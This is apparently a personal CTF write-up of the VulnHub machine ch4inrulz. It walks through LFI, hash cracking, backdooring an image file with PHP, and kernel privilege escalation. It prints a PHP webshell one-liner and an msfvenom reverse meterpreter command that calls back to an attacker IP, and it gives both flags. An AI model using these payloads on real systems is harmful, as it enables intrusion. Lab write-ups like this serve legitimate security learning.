ch4inrulz is a CTF (Capture the Flag) style machine developed by askar and hosted on VulnHub. As per the challenge description this machine was made for Jordan’s Top hacker 2018 CTF and according to the author, is designed to emulate real world attacks.

Level: Intermediate

Apparently the initial version 1.0 had some DHCP issues and its very nice to play around with the current version which has DHCP support.

Run arp-scan to discover the machine IP address

Enumeration and Initial Foothold

Like every other day, enumeration started with nmap and there were two HTTP services, apart from one FTP port. In my experience, FTP service has rarely been helpful in cracking VulnHub challenges. Having an anonymous FTP login here, made no difference.

Browsing on to main website, a nice portfolio website of a developer(Frank Tope) was presented. The look and feel of the single page website was quite impressive and there weren't much options for navigating to other pages. The other application running on port 8011 hosted a development website that looked somehow connected to the main site. Suspicious!

Running my trusted allies nikto and dirb on both ports, I went onto manual checks, which weren't much fruitful. I was running dirb on the default wordlist and dirb was able to identify a development section(which asked for username and password) in the main website and a path to a work in progress API which looked very much related to the main application.

Development area discovered in the main site which was password protected

Of the listed APIs only files_api.php was developed and rest are not in the system yet. On visiting the files_api page, it was evident that the API expects a parameter named ‘file’. I tried invoking the api with parameter file as /etc/passwd on the URL. Hacker Detected!

Well that was weird! I wanted to see how the API will respond to a POST request. API responded to my POST request with the details of users in the box and that looked like a promising LFI(Local File Inclusion). But still I needed access to some sort of upload functionality to turn my LFI to code execution.

System responds with error on GET request

Roadblock #1

I went through the applications pages multiple times for credentials to the development area, but it seemed to elude me for like ever. I even tried brute-forcing the login with custom wordlists created out of cewl.

Get Dot Dot Slash’s stories in your inbox

Join Medium for free to get updates from this writer.

After a night’s sleep I decided to try better wordlists for enumeration and I stumbled upon Netsparker wordlists on my Google routine. SVNDigger wordlists were a great supplement to dirbusting. I was able to uncover a backup file, index.html.bak from the main site.

Additional dirbusting with Netsparker SVNDigger wordlists

Tip: It is always worth trying to perform enumeration with better wordlists when you are stuck. Many nice wordlists are available at SecLists repository.

Password hashes obtained from a backup file

Apparently the credentials for access to the development area was exposed through the backup file. With a bit of research on .htaccess password protection, I discovered that what I got was some sort of password hash and I needed to crack it. At this point john the ripper or hashcat could be of help. Without much trouble john cracked the hash and I obtained access to the development area.

Obtained access to developer section and there was an upload tool

There was an upload functionality inside the development URL which allowed Frank to upload images to the website and that was golden for me(LFI + file upload=shell). But the upload function allowed only valid image files(GIF, JPG, PNG) of few 100s of KBs to be uploaded. Upload functionality was resilient to double extension bypass and seemed to check for image content validity. This was where the second roadblock surfaced.

Roadblock #2

Guess the path where the uploaded files are going! This was real pain!! As frank seem to love patterns, I tried several wild guesses until I got lucky.

I don‘t know any better way of figuring out this path. I was not able to find references or hints to the path from any part of application.

Backdooring Image Files

Two ways in which one can backdoor an image file is by inserting PHP code into metadata information or by appending the payload directly to the file. Former technique requires the use of exiftool and didn't work in this case. To backdoor an image file, first get a valid image file of small size like;

1x1 GIF pixel image
tiny JPG image

To convert the image file to carry your shell, you can append PHP commands onto the image file. For example echo “<?php system(\$_GET[‘cmd’]); ?>” >> image.jpg can create a nice command shell for you. Why settle for command shell when you can get a fully functional metasploit shell?

Use redirection operator >> instead of > to append to a file.

Trustwave’s “Hiding Webshell Backdoor Code in Image Files” post discusses some nice techniques used on the wild by real attackers. We can base64 encode arbitrary PHP code and pass it on to an eval function for execution. In this way, we can conveniently include large amount of PHP code to an image without worrying about code corruption.

Tip: It is better to use small images for backdooring, I was using images of 70KB+ size initially and apparently PHP include function wasn't processing them correctly.

Path to Shell

I used msfvenom to create PHP code for the backdoor and wrapped the code with eval and base64_decode functions. The created payload was appended to my tiny image and was uploaded to the server. Now all that was left for me to do was to spin up a metasploit handler and invoke the image through LFI.

msfvenom -p php/meterpreter_reverse_tcp LHOST=192.168.56.101 LPORT=443 -f raw | base64 | tr -d "\r\n" | tr -d "=" | sed -e 's/^/<?php eval(base64_decode(\"/' | awk 'NF{print $0 "\")); ?>"}' > shell.txt

Exported payload from metasploit and wrap it in php code

Press enter or click to view image in full size

Invoking the image via LFI

Got a limited shell after many wasted hours and I got user flag from frank’s home directory. 4795aa2a9be22fac10e1c25794e75c1b

Root was never easier

The box was running a really old version of Ubuntu with an old kernel version. With a bit of Google skills, one could find the right exploit and root is straightforward. I used precompiled RDS exploit from kernel-exploits repository to save the trouble of compiling the exploit code. Root flag: 8f420533b79076cc99e9f95a1a4e5568

Enumerated the OS version and kernel version

Ch4inrulz was a nice challenge and I liked the image backdooring part especially. It would have been better to have a newer kernel on the box so that the privilege escalation part will be more fun. Nevertheless it was fun.